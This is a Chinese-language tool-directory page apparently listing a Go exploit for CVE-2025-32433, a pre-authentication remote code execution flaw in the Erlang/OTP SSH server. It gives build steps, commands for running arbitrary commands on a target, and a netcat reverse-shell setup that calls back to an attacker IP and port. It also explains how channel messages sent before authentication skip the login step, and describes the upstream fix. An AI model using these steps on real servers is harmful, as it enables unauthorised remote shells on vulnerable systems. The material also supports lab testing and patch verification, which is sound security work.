Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-32433-Remote-Shell — 基于 Go 的 CVE-2025-32433 漏洞利用工具 | Kitploit
工具/GitHubGitHub/meloppeitreet/cve-2025-32433-remote-shell
Payload生成漏洞分析漏洞利用Shellcode渗透测试远程访问工具
GitHubmeloppeitreet/cve-2025-32433-remote-shell

CVE-2025-32433-Remote-Shell

基于 Go 的 CVE-2025-32433 漏洞利用工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
21年前尚未审核

CVE-2025-32433 远程 Shell

基于 Go 的 CVE-2025-32433 漏洞利用程序,可返回远程 bash shell。

其漏洞利用原理很大程度上参考了 ProDefense 针对 CVE-2025-32433 的 PoC。

运行漏洞利用程序

root@kitploit:~
make

exploit.exe 也通过交叉编译的 Makefile 提供给 Windows 机器使用。

然后通过以下 2 种方式之一执行漏洞利用二进制文件:

命令

root@kitploit:~
./exploit <target-ip> <target-port> "<command>"

注意:不会返回命令的输出

反向 Shell

root@kitploit:~
nc -lnvp <attacker-port>
root@kitploit:~
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>

环境搭建

使用 ProDefense 的 Dockerfile,可以通过以下方式搭建环境:

root@kitploit:~
docker build -t "cve-2025-32433:Dockerfile" .
root@kitploit:~
docker run -p 2222:2222 cve-2025-32433:Dockerfile

然后,您可以按照运行漏洞利用程序一节中的方法执行漏洞利用程序,例如:

root@kitploit:~
nc -lnvp 4444
root@kitploit:~
./exploit 127.0.0.1 2222 172.17.0.1 4444

172.17.0.1 是 Docker 主机的默认 IP

漏洞利用原理说明

长话短说 "该问题源于 SSH 协议消息处理中的一个缺陷,它允许攻击者在认证之前发送连接协议消息。"

典型 SSH 流程:

root@kitploit:~
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST

漏洞利用流程:

  1. 与目标主机建立 TCP 连接
  2. SSH Banner 交换
  3. SSH_MSG_KEXINIT
  4. SSH_MSG_CHANNEL_OPEN (认证前)
  5. SSH_MSG_CHANNEL_REQUEST (认证前) --> 包含命令载荷

请注意,漏洞利用过程中跳过了整个 USERAUTH 部分。

消息摘要

与 SSH 消息相关的 RFC:

  • RFC 4253:安全外壳(SSH)传输层协议
  • RFC 4254:安全外壳(SSH)连接协议

消息编号

SSH 传输层协议中的消息编号

SSH 连接协议中的消息编号

消息格式

SSH_MSG_KEXINIT

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

SSH_MSG_CHANNEL_REQUEST

其他要求

字符串格式(来自 RFC 4251:安全外壳(SSH)协议架构)

字符串

填充

填充

理解修复与漏洞利用

以下是 Erlang OTP 库 在 ssh: early RCE fix 提交 中引入的修复:

handle_msg

该修复引入了一个新的 handle_msg 子句,该子句根据其参数会捕获:

  • Msg:用于捕获此前子句尚未匹配到的任何传入 SSH 消息的兜底变量(例如 #ssh_msg_disconnect{})
  • #ssh{authenticated = false}:当连接尚未认证时匹配的会话状态。

该子句不会捕获 authenticated = true 的会话;当服务器收到 #ssh_msg_userauth_success{} 时,便会将 authenticated = true 附加到会话:

authenticated = true

该消息会在以下任一认证方法成功后发送:

发送 #ssh_msg_userauth_success{} 的认证方法

下载工具